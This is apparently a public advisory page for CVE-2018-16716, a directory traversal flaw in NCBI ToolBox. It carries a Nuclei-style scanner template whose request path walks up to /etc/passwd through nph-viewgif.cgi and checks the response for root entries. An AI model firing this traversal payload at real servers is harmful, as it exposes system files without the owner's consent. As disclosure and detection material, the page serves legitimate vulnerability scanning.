CVE-2018-16716: NCBI ToolBox - Directory Traversal

2025-08-01 NCBI ToolBox PoC Public

Description

NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.

PoC

id: CVE-2018-16716

info:
  name: NCBI ToolBox - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16716
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/grymer/CVE
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2018-16716
    cwe-id: CWE-22
    epss-score: 0.0857
    epss-percentile: 0.94789
    cpe: cpe:2.3:a:nih:ncbi_toolbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nih
    product: ncbi_toolbox
  tags: cve,cve2018,ncbi,lfi,nih,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207098ae08c9c48f616a9278c78e5c192ee6e8e210105493a1acffa2e5978850d80221008992eece3ae5f4a7b5c90c79d3d075a30f5eb2f38672be2a9b8b5a4748a06705:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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